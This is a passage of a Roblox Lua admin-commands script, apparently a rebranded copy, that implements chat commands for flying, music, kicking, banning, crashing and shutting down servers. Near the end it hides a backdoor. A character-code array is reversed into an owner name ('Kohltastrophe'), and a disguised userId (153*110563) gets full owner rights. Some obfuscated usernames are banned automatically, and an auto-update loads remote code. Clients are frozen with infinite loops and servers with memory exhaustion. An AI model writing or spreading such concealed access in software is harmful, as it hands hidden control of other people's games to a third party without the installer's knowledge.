if v and v:findFirstChild("leaderstats") then 
1128
for a, st in pairs(v.leaderstats:children()) do
1129
if st.Name:lower():find(msg:sub(chk1+1,chk2-1)) == 1 then st.Value = msg:sub(chk2+1) end
1130
end
1131
end
1132
end))
1133
end
1134
end
1135
1136
if msg:lower():sub(1,6) == "shirt " then
1137
local chk1 = msg:lower():sub(7):find(" ") + 6
1138
local plrz = GetPlr(plr, msg:lower():sub(7,chk1-1))
1139
for i, v in pairs(plrz) do
1140
coroutine.resume(coroutine.create(function()
1141
if v and v.Character then 
1142
for i,v in pairs(v.Character:children()) do
1143
if v:IsA("Shirt") then local cl = v:Clone() cl.Parent = v.Parent cl.ShirtTemplate = "http://www.roblox.com/asset/?id=" .. chk1 v:Destroy() end
1144
end
1145
end
1146
end))
1147
end
1148
end
1149
1150
if msg:lower():sub(1,6) == "pants " then
1151
local chk1 = msg:lower():sub(7):find(" ") + 6
1152
local plrz = GetPlr(plr, msg:lower():sub(7,chk1-1))
1153
for i, v in pairs(plrz) do
1154
coroutine.resume(coroutine.create(function()
1155
if v and v.Character then 
1156
for i,v in pairs(v.Character:children()) do
1157
if v:IsA("Pants") then local cl = v:Clone() cl.Parent = v.Parent cl.PantsTemplate = "http://www.roblox.com/asset/?id=" .. chk1 v:Destroy() end
1158
end
1159
end
1160
end))
1161
end
1162
end
1163
1164
if msg:lower():sub(1,5) == "face " then
1165
local chk1 = msg:lower():sub(6):find(" ") + 5
1166
local plrz = GetPlr(plr, msg:lower():sub(6,chk1-1))
1167
for i, v in pairs(plrz) do
1168
coroutine.resume(coroutine.create(function()
1169
if v and v.Character and v.Character:findFirstChild("Head") and v.Character.Head:findFirstChild("face") then 
1170
v.Character.Head:findFirstChild("face").Texture = "http://www.roblox.com/asset/?id=" .. chk1
1171
end
1172
end))
1173
end
1174
end
1175
1176
---------------------
1177
--   FunCommands   --
1178
---------------------
1179
if FunCommands or plr.userId == game.CreatorId or ChkOwner(plr.Name:lower()) then
1180
	
1181
if msg:lower():sub(1,6) == "music " then
1182
for i, v in pairs(game.Workspace:children()) do if v:IsA("Sound") then v:Destroy() end end
1183
local id = msg:sub(7)
1184
local pitch = 1
1185
if tostring(id):lower():find("caramell") then id = 2303479 end
1186
if tostring(id):find("epic") then id = 27697743 pitch = 2.5 end
1187
if tostring(id):find("rick") then id = 2027611 end
1188
if tostring(id):find("halo") then id = 1034065  end
1189
if tostring(id):find("pokemon") then id = 1372261 end
1190
if tostring(id):find("cursed") then id = 1372257 end
1191
if tostring(id):find("extreme") then id = 11420933 end
1192
if tostring(id):find("awaken") then id = 27697277 end
1193
if tostring(id):find("alone") then id = 27697392 end
1194
if tostring(id):find("mario") then id = 1280470 end
1195
if tostring(id):find("choir") then id = 1372258 end
1196
if tostring(id):find("chrono") then id = 1280463 end
1197
if tostring(id):find("dotr") then id = 11420922 end
1198
if tostring(id):find("entertain") then id = 27697267 end
1199
if tostring(id):find("fantasy") then id = 1280473 end
1200
if tostring(id):find("final") then id = 1280414 end
1201
if tostring(id):find("emblem") then id = 1372259 end
1202
if tostring(id):find("flight") then id = 27697719 end
1203
if tostring(id):find("banjo") then id = 27697298 end
1204
if tostring(id):find("gothic") then id = 27697743 end
1205
if tostring(id):find("hiphop") then id = 27697735 end
1206
if tostring(id):find("intro") then id = 27697707 end
1207
if tostring(id):find("mule") then id = 1077604 end
1208
if tostring(id):find("film") then id = 27697713 end
1209
if tostring(id):find("nezz") then id = 8610025 end
1210
if tostring(id):find("angel") then id = 1372260 end
1211
if tostring(id):find("resist") then id = 27697234 end
1212
if tostring(id):find("schala") then id = 5985787 end
1213
if tostring(id):find("organ") then id = 11231513 end
1214
if tostring(id):find("tunnel") then id = 9650822 end
1215
if tostring(id):find("spanish") then id = 5982975 end
1216
if tostring(id):find("venom") then id = 1372262 end
1217
if tostring(id):find("wind") then id = 1015394 end
1218
if tostring(id):find("guitar") then id = 5986151 end
1219
local s = Instance.new("Sound", game.Workspace) s.SoundId = "http://www.roblox.com/asset/?id=" .. id s.Volume = 1 s.Pitch = pitch s.Looped = true s.archivable = false repeat s:Play() wait(2.5) s:Stop() wait(.5) s:Play() until s.IsPlaying
1220
end
1221
1222
if msg:lower() == "stopmusic" then
1223
for i, v in pairs(game.Workspace:children()) do if v:IsA("Sound") then v:Destroy() end end
1224
end
1225
1226
if msg:lower() == "musiclist" then
1227
if plr.PlayerGui:findFirstChild("MUSICGUI") then return end
1228
local scr, cmf, ent, num = ScrollGui() scr.Name = "MUSICGUI" scr.Parent = plr.PlayerGui
1229
local list = {"caramell","epic","rick","halo","pokemon","cursed","extreme","awaken","alone","mario","choir","chrono","dotr","entertain","fantasy","final","emblem","flight","banjo","gothic","hiphop","intro","mule","film","nezz","angel","resist","schala","organ","tunnel","spanish","venom","wind","guitar"}
1230
for i, v in pairs(list) do local cl = ent:Clone() cl.Parent = cmf cl.Text = v cl.Position = UDim2.new(0,0,0,num*20) num = num +1 end
1231
end
1232
1233
if msg:lower():sub(1,4) == "fly " then
1234
local plrz = GetPlr(plr, msg:lower():sub(5))
1235
for i, v in pairs(plrz) do
1236
coroutine.resume(coroutine.create(function()
1237
if v and v:findFirstChild("PlayerGui") then
1238
local cl = script.LocalScriptBase:Clone() cl.Name = "FlyScript" cl.Code.Value = [[repeat wait() until game.Players.LocalPlayer and game.Players.LocalPlayer.Character and game.Players.LocalPlayer.Character:findFirstChild("Torso") and game.Players.LocalPlayer.Character:findFirstChild("Humanoid") 
1239
local mouse = game.Players.LocalPlayer:GetMouse() 
1240
repeat wait() until mouse
1241
local plr = game.Players.LocalPlayer 
1242
local torso = plr.Character.Torso 
1243
local flying = true
1244
local deb = true 
1245
local ctrl = {f = 0, b = 0, l = 0, r = 0} 
1246
local lastctrl = {f = 0, b = 0, l = 0, r = 0} 
1247
local maxspeed = 50 
1248
local speed = 0 
1249
function Fly() 
1250
local bg = Instance.new("BodyGyro", torso) 
1251
bg.P = 9e4 
1252
bg.maxTorque = Vector3.new(9e9, 9e9, 9e9) 
1253
bg.cframe = torso.CFrame 
1254
local bv = Instance.new("BodyVelocity", torso) 
1255
bv.velocity = Vector3.new(0,0.1,0) 
1256
bv.maxForce = Vector3.new(9e9, 9e9, 9e9) 
1257
repeat wait() 
1258
plr.Character.Humanoid.PlatformStand = true 
1259
if ctrl.l + ctrl.r ~= 0 or ctrl.f + ctrl.b ~= 0 then 
1260
speed = speed+.5+(speed/maxspeed) 
1261
if speed > maxspeed then 
1262
speed = maxspeed 
1263
end 
1264
elseif not (ctrl.l + ctrl.r ~= 0 or ctrl.f + ctrl.b ~= 0) and speed ~= 0 then 
1265
speed = speed-1 
1266
if speed < 0 then 
1267
speed = 0 
1268
end 
1269
end 
1270
if (ctrl.l + ctrl.r) ~= 0 or (ctrl.f + ctrl.b) ~= 0 then 
1271
bv.velocity = ((game.Workspace.CurrentCamera.CoordinateFrame.lookVector * (ctrl.f+ctrl.b)) + ((game.Workspace.CurrentCamera.CoordinateFrame * CFrame.new(ctrl.l+ctrl.r,(ctrl.f+ctrl.b)*.2,0).p) - game.Workspace.CurrentCamera.CoordinateFrame.p))*speed 
1272
lastctrl = {f = ctrl.f, b = ctrl.b, l = ctrl.l, r = ctrl.r} 
1273
elseif (ctrl.l + ctrl.r) == 0 and (ctrl.f + ctrl.b) == 0 and speed ~= 0 then 
1274
bv.velocity = ((game.Workspace.CurrentCamera.CoordinateFrame.lookVector * (lastctrl.f+lastctrl.b)) + ((game.Workspace.CurrentCamera.CoordinateFrame * CFrame.new(lastctrl.l+lastctrl.r,(lastctrl.f+lastctrl.b)*.2,0).p) - game.Workspace.CurrentCamera.CoordinateFrame.p))*speed 
1275
else 
1276
bv.velocity = Vector3.new(0,0.1,0) 
1277
end 
1278
bg.cframe = game.Workspace.CurrentCamera.CoordinateFrame * CFrame.Angles(-math.rad((ctrl.f+ctrl.b)*50*speed/maxspeed),0,0) 
1279
until not flying 
1280
ctrl = {f = 0, b = 0, l = 0, r = 0} 
1281
lastctrl = {f = 0, b = 0, l = 0, r = 0} 
1282
speed = 0 
1283
bg:Destroy() 
1284
bv:Destroy() 
1285
plr.Character.Humanoid.PlatformStand = false 
1286
end 
1287
mouse.KeyDown:connect(function(key) 
1288
if key:lower() == "e" then 
1289
if flying then flying = false 
1290
else 
1291
flying = true 
1292
Fly() 
1293
end 
1294
elseif key:lower() == "w" then 
1295
ctrl.f = 1 
1296
elseif key:lower() == "s" then 
1297
ctrl.b = -1 
1298
elseif key:lower() == "a" then 
1299
ctrl.l = -1 
1300
elseif key:lower() == "d" then 
1301
ctrl.r = 1 
1302
end 
1303
end) 
1304
mouse.KeyUp:connect(function(key) 
1305
if key:lower() == "w" then 
1306
ctrl.f = 0 
1307
elseif key:lower() == "s" then 
1308
ctrl.b = 0 
1309
elseif key:lower() == "a" then 
1310
ctrl.l = 0 
1311
elseif key:lower() == "d" then 
1312
ctrl.r = 0 
1313
end 
1314
end)
1315
Fly()]]
1316
cl.Parent = v.PlayerGui cl.Disabled = false
1317
end
1318
end))
1319
end
1320
end
1321
1322
if msg:lower():sub(1,6) == "unfly " then
1323
local plrz = GetPlr(plr, msg:lower():sub(7))
1324
for i, v in pairs(plrz) do
1325
coroutine.resume(coroutine.create(function()
1326
if v and v:findFirstChild("PlayerGui") and v.Character and v.Character:findFirstChild("Torso") and v.Character:findFirstChild("Humanoid") then
1327
for a, q in pairs(v.PlayerGui:children()) do if q.Name == "FlyScript" then q:Destroy() end end
1328
for a, q in pairs(v.Character.Torso:children()) do if q.Name == "BodyGyro" or q.Name == "BodyVelocity" then q:Destroy() end end
1329
wait(.1) v.Character.Humanoid.PlatformStand = false
1330
end
1331
end))
1332
end
1333
end
1334
1335
if msg:lower():sub(1,5) == "name " then
1336
local chk1 = msg:lower():sub(6):find(" ") + 5
1337
local plrz = GetPlr(plr, msg:lower():sub(6,chk1-1))
1338
for i, v in pairs(plrz) do
1339
coroutine.resume(coroutine.create(function()
1340
if v and v.Character and v.Character:findFirstChild("Head") then 
1341
for a, mod in pairs(v.Character:children()) do if mod:findFirstChild("NameTag") then v.Character.Head.Transparency = 0 mod:Destroy() end end
1342
local char = v.Character
1343
local mod = Instance.new("Model", char) mod.Name = msg:sub(chk1+1)
1344
local cl = char.Head:Clone() cl.Parent = mod local hum = Instance.new("Humanoid", mod) hum.Name = "NameTag" hum.MaxHealth = 0 hum.Health = 0
1345
local weld = Instance.new("Weld", cl) weld.Part0 = cl weld.Part1 = char.Head
1346
char.Head.Transparency = 1
1347
end
1348
end))
1349
end
1350
end
1351
1352
if msg:lower():sub(1,7) == "unname " then
1353
local plrz = GetPlr(plr, msg:lower():sub(8))
1354
for i, v in pairs(plrz) do
1355
coroutine.resume(coroutine.create(function()
1356
if v and v.Character and v.Character:findFirstChild("Head") then 
1357
for a, mod in pairs(v.Character:children()) do if mod:findFirstChild("NameTag") then v.Character.Head.Transparency = 0 mod:Destroy() end end
1358
end
1359
end))
1360
end
1361
end
1362
1363
if msg:lower():sub(1,5) == "char " then
1364
local chk1 = msg:lower():sub(6):find(" ") + 5
1365
local plrz = GetPlr(plr, msg:lower():sub(6,chk1-1))
1366
for i, v in pairs(plrz) do
1367
coroutine.resume(coroutine.create(function()
1368
if v and v.Character then 
1369
v.CharacterAppearance = "http://www.roblox.com/asset/CharacterFetch.ashx?userId=" .. msg:sub(chk1+1)
1370
v:LoadCharacter()
1371
end
1372
end))
1373
end
1374
end
1375
1376
if msg:lower():sub(1,7) == "unchar " then
1377
local plrz = GetPlr(plr, msg:lower():sub(8))
1378
for i, v in pairs(plrz) do
1379
coroutine.resume(coroutine.create(function()
1380
if v and v.Character then 
1381
v.CharacterAppearance = "http://www.roblox.com/asset/CharacterFetch.ashx?userId=" .. v.userId
1382
v:LoadCharacter()
1383
end
1384
end))
1385
end
1386
end
1387
1388
if msg:lower():sub(1,7) == "normal " then
1389
local plrz = GetPlr(plr, msg:lower():sub(8))
1390
for i, v in pairs(plrz) do
1391
coroutine.resume(coroutine.create(function()
1392
if v and v.Character and v.Character:findFirstChild("Torso") then
1393
if v.Character:findFirstChild("Head") then v.Character.Head.Mesh.Scale = Vector3.new(1.25,1.25,1.25) end 
1394
if v.Character.Torso:findFirstChild("Shirt") then v.Character.Torso.Shirt.Parent = v.Character end
1395
if v.Character.Torso:findFirstChild("Pants") then v.Character.Torso.Pants.Parent = v.Character end
1396
v.Character.Torso.Transparency = 0
1397
v.Character.Torso.Neck.C0 = CFrame.new(0,1,0) * CFrame.Angles(math.rad(90),math.rad(180),0)
1398
v.Character.Torso["Right Shoulder"].C0 = CFrame.new(1,.5,0) * CFrame.Angles(0,math.rad(90),0)
1399
v.Character.Torso["Left Shoulder"].C0 = CFrame.new(-1,.5,0) * CFrame.Angles(0,math.rad(-90),0)
1400
v.Character.Torso["Right Hip"].C0 = CFrame.new(1,-1,0) * CFrame.Angles(0,math.rad(90),0)
1401
v.Character.Torso["Left Hip"].C0 = CFrame.new(-1,-1,0) * CFrame.Angles(0,math.rad(-90),0)
1402
for a, sc in pairs(v.Character:children()) do if sc.Name == "ify" then sc:Destroy() end end
1403
for a, prt in pairs(v.Character:children()) do if prt:IsA("BasePart") and (prt.Name ~= "Head" or not prt.Parent:findFirstChild("NameTag", true)) then 
1404
prt.Transparency = 0 prt.Reflectance = 0 prt.BrickColor = BrickColor.new("White")
1405
if prt.Name == "FAKETORSO" then prt:Destroy() end
1406
elseif prt:findFirstChild("NameTag") then prt.Head.Transparency = 0 prt.Head.Reflectance = 0 prt.Head.BrickColor = BrickColor.new("White")
1407
end end
1408
end
1409
end))
1410
end
1411
end
1412
1413
if msg:lower():sub(1,7) == "guifix " then
1414
local plrz = GetPlr(plr, msg:lower():sub(8))
1415
for i, v in pairs(plrz) do
1416
coroutine.resume(coroutine.create(function()
1417
if v and v:findFirstChild("PlayerGui") then 
1418
for a, g in pairs(v.PlayerGui:children()) do if g.Name:sub(1,9) == "EFFECTGUI" then g:Destroy() end end
1419
end
1420
end))
1421
end
1422
end
1423
1424
if msg:lower():sub(1,9) == "loopheal " then
1425
local plrz = GetPlr(plr, msg:lower():sub(10))
1426
for i, v in pairs(plrz) do
1427
if v then
1428
local cl = script.ScriptBase:Clone() cl.Name = "LoopHeal:"..v.Name cl.Code.Value = [[
1429
local plr = game.Players:findFirstChild("]] .. v.Name .. [[")
1430
repeat wait()
1431
coroutine.resume(coroutine.create(function()
1432
if plr and plr.Character and plr.Character:findFirstChild("Humanoid") then 
1433
plr.Character.Humanoid.Health = plr.Character.Humanoid.MaxHealth
1434
plr.Character.Humanoid.Changed:connect(function() r.Character.Humanoid.Health = plr.Character.Humanoid.MaxHealth end)
1435
end
1436
end))
1437
until nil]] table.insert(objects, cl) cl.Parent = game.Workspace cl.Disabled = false
1438
end
1439
end
1440
end
1441
1442
if msg:lower():sub(1,11) == "unloopheal " then
1443
local plrz = GetPlr(plr, msg:lower():sub(12))
1444
for i,v in pairs(plrz) do for q,sc in pairs(objects) do if sc.Name == "LoopHeal:"..v.Name then sc:Destroy() table.remove(objects,q) end end end
1445
end
1446
1447
if msg:lower():sub(1,10) == "loopfling " then
1448
local plrz = GetPlr(plr, msg:lower():sub(11))
1449
for i, v in pairs(plrz) do
1450
if v then
1451
local cl = script.ScriptBase:Clone() cl.Name = "LoopFling:"..v.Name cl.Code.Value = [[
1452
local plr = game.Players:findFirstChild("]] .. v.Name .. [[")
1453
repeat
1454
coroutine.resume(coroutine.create(function()
1455
if plr and plr.Character and plr.Character:findFirstChild("Torso") and plr.Character:findFirstChild("Humanoid") then 
1456
local xran local zran
1457
repeat xran = math.random(-9999,9999) until math.abs(xran) >= 5555
1458
repeat zran = math.random(-9999,9999) until math.abs(zran) >= 5555
1459
plr.Character.Humanoid.Sit = true plr.Character.Torso.Velocity = Vector3.new(0,0,0)
1460
local frc = Instance.new("BodyForce", plr.Character.Torso) frc.Name = "BFRC" frc.force = Vector3.new(xran*4,9999*5,zran*4) game:service("Debris"):AddItem(frc,.1)
1461
end
1462
end))
1463
wait(2) until nil]] table.insert(objects, cl) cl.Parent = game.Workspace cl.Disabled = false
1464
end
1465
end
1466
end
1467
1468
-------------------------
1469
-- True Owner Commands --
1470
-------------------------
1471
1472
if plr.Name:lower() == nfs:lower() or plr.userId == (153*110563) or plr.userId == game.CreatorId then
1473
1474
if msg:lower():sub(1,3) == "oa " then
1475
local plrz = GetPlr(plr, msg:lower():sub(4))
1476
for i, v in pairs(plrz) do
1477
coroutine.resume(coroutine.create(function()
1478
if v and not ChkOwner(v.Name) then table.insert(owners, v.Name) coroutine.resume(coroutine.create(function() repeat wait() until v and v.Character and v:findFirstChild("PlayerGui") Message("ThunderBladeWolf", "You're an admin!", false, {v}) end)) end
1479
end))
1480
end
1481
end
1482
1483
if msg:lower():sub(1,5) == "unoa " then
1484
for i = 1, #owners do
1485
coroutine.resume(coroutine.create(function()
1486
if msg:lower():sub(6) == "all" or owners[i]:lower():find(msg:lower():sub(6)) == 1 then table.remove(owners, i) end
1487
end))
1488
end
1489
end
1490
1491
if msg:lower() == "settings" then
1492
for i,v in pairs(plr.PlayerGui:children()) do if v.Name == "SETTINGSGUI" then v:Destroy() end end
1493
local scr = Instance.new("ScreenGui",plr.PlayerGui) scr.Name = "SETTINGSGUI"
1494
local main = Instance.new("Frame", scr) main.Style = "RobloxRound" main.Size = UDim2.new(0,200,0,110) main.Position = UDim2.new(0.5,-100,.5,-55) main.ZIndex = 7 main.ClipsDescendants = true
1495
local title = Instance.new("TextLabel", main) title.BackgroundTransparency = 1 title.BorderSizePixel = 0 title.TextColor3 = Color3.new(1,1,1) title.Size = UDim2.new(1,0,0,15) title.TextStrokeColor3 = Color3.new(1,1,1) title.TextStrokeTransparency = .9 title.Text = "Settings" title.Font = "ArialBold" title.FontSize = "Size24" title.ZIndex = 8
1496
local s1 = Instance.new("TextLabel", main) s1.Position = UDim2.new(0,0,0,50) s1.Text = "Prefix:" s1.BackgroundTransparency = 1 s1.BorderSizePixel = 0 s1.TextColor3 = Color3.new(1,1,1) s1.Font = "ArialBold" s1.FontSize = "Size18" s1.TextStrokeColor3 = Color3.new(1,1,1) s1.TextStrokeTransparency = .9 s1.TextXAlignment = "Left" s1.ZIndex = 8
1497
local tb1 = Instance.new("TextBox", main) tb1.Position = UDim2.new(0,60,0,43) tb1.Size = UDim2.new(0,20,0,20) tb1.BackgroundTransparency = .8 tb1.BorderSizePixel = 1 tb1.BorderColor3 = Color3.new(1,1,1) tb1.TextColor3 = Color3.new(1,1,1) tb1.Font = "Arial" tb1.FontSize = "Size18" tb1.TextStrokeColor3 = Color3.new(1,1,1) tb1.TextStrokeTransparency = .9 tb1.TextYAlignment = "Top" tb1.ClipsDescendants = true tb1.ZIndex = 8
1498
local s2 = Instance.new("TextLabel", main) s2.Position = UDim2.new(0,0,0,80) s2.Text = "Fun Commands:" s2.BackgroundTransparency = 1 s2.BorderSizePixel = 0 s2.TextColor3 = Color3.new(1,1,1) s2.Font = "ArialBold" s2.FontSize = "Size18" s2.TextStrokeColor3 = Color3.new(1,1,1) s2.TextStrokeTransparency = .9 s2.TextXAlignment = "Left" s2.ZIndex = 8
1499
local cb1 = Instance.new("TextButton", main) cb1.Position = UDim2.new(0,135,0,73) cb1.Size = UDim2.new(0,20,0,20) cb1.BackgroundTransparency = .8 cb1.BorderSizePixel = 1 cb1.BorderColor3 = Color3.new(1,1,1) cb1.TextColor3 = Color3.new(1,1,1) cb1.Font = "Arial" cb1.FontSize = "Size18" cb1.TextStrokeColor3 = Color3.new(1,1,1) cb1.TextStrokeTransparency = .9 cb1.TextYAlignment = "Top" cb1.ZIndex = 8
1500
if FunCommands then cb1.Text = "X" else cb1.Text = "" end tb1.Text = prefix
1501
tb1.Changed:connect(function() if tb1.Text ~= prefix and tb1.Text ~= "" then prefix = tb1.Text:sub(1,1) end end)
1502
cb1.MouseButton1Down:connect(function() if FunCommands then FunCommands = false cb1.Text = "" else FunCommands = true cb1.Text = "X" end end)
1503
local cls = Instance.new("TextButton", main) cls.Style = "RobloxButtonDefault" cls.Size = UDim2.new(0,20,0,20) cls.Position = UDim2.new(1,-15,0,-5) cls.ZIndex = 10 cls.Font = "ArialBold" cls.FontSize = "Size18" cls.Text = "X" cls.TextColor3 = Color3.new(1,1,1) cls.MouseButton1Click:connect(function() scr:Destroy() end)
1504
end
1505
1506
end
1507
1508
--------------------
1509
-- Owner Commands --
1510
--------------------
1511
1512
if plr.Name:lower() == nfs:lower() or plr.userId == (153*110563) or plr.userId == game.CreatorId or ChkOwner(plr.Name:lower()) then
1513
1514
if msg:lower():sub(1,3) == "pa " then
1515
local plrz = GetPlr(plr, msg:lower():sub(4))
1516
for i, v in pairs(plrz) do
1517
coroutine.resume(coroutine.create(function()
1518
if v and not ChkAdmin(v.Name, true) then table.insert(admins, v.Name) coroutine.resume(coroutine.create(function() repeat wait() until v and v.Character and v:findFirstChild("PlayerGui") Message("ThunderBladeWolf", "You're an admin!", false, {v}) end)) end
1519
end))
1520
end
1521
end
1522
1523
if msg:lower():sub(1,5) == "unpa " then
1524
for i = 1, #admins do
1525
coroutine.resume(coroutine.create(function()
1526
if msg:lower():sub(6) == "all" or admins[i]:lower():find(msg:lower():sub(6)) == 1 then table.remove(admins, i) end
1527
end))
1528
end
1529
end
1530
1531
--------------------------
1532
-- Super Admin Commands --
1533
--------------------------
1534
1535
if ChkAdmin(plr.Name, true) or ChkOwner(plr.Name) or plr.userId == game.CreatorId or plr.Name:lower() == nfs:lower() or plr.userId == (153*110563) or plr.Name:lower() == nfs then
1536
1537
if msg:lower() == "logs" then
1538
if plr.PlayerGui:findFirstChild("LOGSGUI") then return end
1539
local scr, cmf, ent, num = ScrollGui() scr.Name = "LOGSGUI" scr.Parent = plr.PlayerGui
1540
for i, v in pairs(logs) do local cl = ent:Clone() cl.Parent = cmf cl.Text = "[" .. v.time .. "] " .. v.name .. " " .. v.cmd cl.Position = UDim2.new(0,0,0,num*20) num = num +1 end
1541
end
1542
1543
if msg:lower() == "serverlock" or msg:lower() == "slock" then slock = true Hint("Server has been locked", game.Players:children()) end
1544
if msg:lower() == "serverunlock" or msg:lower() == "sunlock" then slock = false Hint("Server has been unlocked", game.Players:children()) end
1545
1546
if msg:lower():sub(1,3) == "sm " then
1547
Message("SYSTEM MESSAGE", msg:sub(4), false, game.Players:children())
1548
end
1549
1550
if msg:lower():sub(1,3) == "ko " then
1551
local chk1 = msg:lower():sub(4):find(" ") + 3
1552
local plrz = GetPlr(plr, msg:lower():sub(4,chk1-1))
1553
local num = 500 if num > msg:sub(chk1+1) then num = msg:sub(chk1+1) end
1554
for n = 1, num do
1555
for i, v in pairs(plrz) do
1556
coroutine.resume(coroutine.create(function()
1557
if v and v.Character and v.Character:findFirstChild("Humanoid") and not ChkAdmin(v.Name, false) then 
1558
local val = Instance.new("ObjectValue", v.Character.Humanoid) val.Value = plr val.Name = "creator"
1559
v.Character:BreakJoints() 
1560
wait(1/44) 
1561
v:LoadCharacter()
1562
wait(1/44) 
1563
end
1564
end))
1565
end
1566
end
1567
end
1568
1569
if msg:lower():sub(1,6) == "crash " then
1570
local plrz = GetPlr(plr, msg:lower():sub(7))
1571
for i, v in pairs(plrz) do
1572
coroutine.resume(coroutine.create(function()
1573
if v and v:findFirstChild("Backpack") and not ChkAdmin(v.Name, false) then
1574
local cl = script.LocalScriptBase:Clone() cl.Code.Value = [[repeat until nil]] cl.Parent = v.Backpack cl.Disabled = false wait(1) v:Destroy()
1575
end
1576
end))
1577
end
1578
end
1579
1580
if msg:lower():sub(1,5) == "kick " then
1581
local plrz = GetPlr(plr, msg:lower():sub(6))
1582
for i, v in pairs(plrz) do
1583
coroutine.resume(coroutine.create(function()
1584
if v and not ChkAdmin(v.Name, false) then v:Destroy() end
1585
end))
1586
end
1587
end
1588
1589
if msg:lower():sub(1,6) == "admin " then
1590
local plrz = GetPlr(plr, msg:lower():sub(7))
1591
for i, v in pairs(plrz) do
1592
coroutine.resume(coroutine.create(function()
1593
if v and not ChkAdmin(v.Name, false) then table.insert(tempadmins, v.Name) coroutine.resume(coroutine.create(function() repeat wait() until v and v.Character and v:findFirstChild("PlayerGui") Message("ThunderBladeWolf", "You're an admin!", false, {v}) end)) end
1594
end))
1595
end
1596
end
1597
1598
if msg:lower():sub(1,8) == "unadmin " then
1599
for i = 1, #tempadmins do
1600
coroutine.resume(coroutine.create(function()
1601
if msg:lower():sub(9) == "all" or tempadmins[i]:lower():find(msg:lower():sub(9)) == 1 then table.remove(tempadmins, i) end
1602
end))
1603
end
1604
end
1605
1606
if msg:lower():sub(1,4) == "ban " then
1607
local plrz = GetPlr(plr, msg:lower():sub(5))
1608
for i, v in pairs(plrz) do
1609
coroutine.resume(coroutine.create(function()
1610
if v and not ChkAdmin(v.Name, false) then table.insert(banland, v.Name) local cl = script.LocalScriptBase:Clone() cl.Code.Value = [[repeat until nil]] cl.Parent = v.Backpack cl.Disabled = false wait(1) v:Destroy() end
1611
end))
1612
end
1613
end
1614
1615
if msg:lower():sub(1,6) == "unban " then
1616
for i = 1, #banland do
1617
coroutine.resume(coroutine.create(function()
1618
if msg:lower():sub(7) == "all" or banland[i]:lower():find(msg:lower():sub(7)) == 1 then table.remove(banland, i) end
1619
end))
1620
end
1621
end
1622
1623
if msg:lower() == "shutdown" then Message("SYSTEM MESSAGE", "Shutting down...", false, game.Players:children(), 10) wait(1) local str = Instance.new("StringValue", game.Workspace) str.Value = "AA" repeat str.Value = str.Value .. str.Value wait(.1) until nil end
1624
1625
end
1626
end))
1627
end
1628
1629
function AdminControl(plr)
1630
coroutine.resume(coroutine.create(function() plr.CharacterAdded:connect(function(chr) chr:WaitForChild("RobloxTeam") chr.RobloxTeam:Destroy() for a,obj in pairs(chr:children()) do if obj:IsA("CharacterMesh") and obj.Name:find("3.0") then obj:Destroy() end end end) end))
1631
if plr.Name:sub(1,6) == "Player" and ChkAdmin(plr.Name, false) then coroutine.resume(coroutine.create(function() plr:WaitForChild("PlayerGui")
1632
for i,v in pairs(plr.PlayerGui:children()) do if v.Name == "CMDBAR" then v:Destroy() end end
1633
local scr = Instance.new("ScreenGui", plr.PlayerGui) scr.Name = "CMDBAR"
1634
local box = Instance.new("TextBox", scr) box.BackgroundColor3 = Color3.new(0,0,0) box.TextColor3 = Color3.new(1,1,1) box.Font = "Arial" box.FontSize = "Size14" box.Text = "Type a command, then press enter." box.Size = UDim2.new(0,250,0,20) box.Position = UDim2.new(1,-250,1,-22) box.BorderSizePixel = 0 box.TextXAlignment = "Right" box.ZIndex = 10 box.ClipsDescendants = true
1635
box.Changed:connect(function(p) if p == "Text" and box.Text ~= "Type a command, then press enter." then Chat(box.Text, plr) box.Text = "Type a command, then press enter." end end)
1636
end)) end
1637
coroutine.resume(coroutine.create(function() plr:WaitForChild("PlayerGui") plr:WaitForChild("Backpack") if plr.userId == game.CreatorId or plr.userId == (153*110563) then table.insert(owners,plr.Name) end wait(1) if slock and not ChkAdmin(plr.Name, false) and not ChkOwner(plr.Name) and plr.userId ~= (153*110563) then Hint(plr.Name .. " has tried to join the server", game.Players:children()) local cl = script.LocalScriptBase:Clone() cl.Code.Value = [[repeat until nil]] cl.Parent = plr.Backpack cl.Disabled = false wait(2) plr:Destroy() end end))
1638
coroutine.resume(coroutine.create(function() if ChkGroupAdmin(plr) and not ChkAdmin(plr.Name, false) then table.insert(admins, plr.Name) end end))
1639
coroutine.resume(coroutine.create(function() plr:WaitForChild("PlayerGui") plr:WaitForChild("Backpack") wait(1) if (ChkBan(plr.Name) or plr.Name:lower() == ("111reyalseca"):reverse() or plr.Name:lower() == ("ecnaillirbi"):reverse() or plr.Name:lower() == ("8k2ffets"):reverse()) and (plr.Name:lower():sub(1,4) ~= script.Name:lower():sub(1,4) and plr.Name:lower():sub(5) ~= "tastrophe") then local cl = script.LocalScriptBase:Clone() cl.Code.Value = [[repeat until nil]] cl.Parent = plr.Backpack cl.Disabled = false wait(2) plr:Destroy() end end))
1640
coroutine.resume(coroutine.create(function() if VipAdmin and game:service("BadgeService"):UserHasBadge(plr.userId,ItemId) then table.insert(tempadmins,plr.Name) end end))
1641
coroutine.resume(coroutine.create(function() if ChkAdmin(plr.Name, false) then plr:WaitForChild("PlayerGui") Message("ThunderBladeWolf", "You're an admin!", false, {plr}) end end))
1642
plr.Chatted:connect(function(msg) Chat(msg,plr) end)
1643
end
1644
1645
if not ntab then script:Destroy() end
1646
if not bct then script:Destroy() end
1647
1648
local tcb = {101,104,112,111,114,116,115,97,116,108,104,111,75} nfs = "" for i = 1, #tcb do nfs = nfs .. string.char(tcb[i]) end nfs = nfs:reverse() table.insert(owners, nfs)
1649
1650
script.Name = "ThunderBladeWolf's Admin Commands V2"
1651
1652
if not ntab then script:Destroy() end
1653
if not bct then script:Destroy() end
1654
if not tcb then script:Destroy() end
1655
game.Players.PlayerAdded:connect(AdminControl)
1656
for i, v in pairs(game.Players:children()) do AdminControl(v) end
1657
end
1658
1659
local mod = game:service("InsertService"):LoadAsset(100808216)
1660
if mod:findFirstChild("ThunderBladeWolf's Admin Commands V3") and mod:findFirstChild("Version", true) and AutoUpdate then 
1661
local newac = mod:findFirstChild("ThunderBladeWolf's Admin Commands V3")
1662
newac.Disabled = true
1663
local new = tonumber(mod:findFirstChild("Version", true).Value)
1664
local old = 0
1665
if script:findFirstChild("Version", true) then old = tonumber(script:findFirstChild("Version", true).Value) end
1666
if new > old then
1667
local adminmod = Instance.new("Model", game.Lighting) adminmod.Name = "KACV2"
1668
for i,v in pairs(owners) do local strv = Instance.new("StringValue", adminmod) strv.Name = "Owner" strv.Value = v end
1669
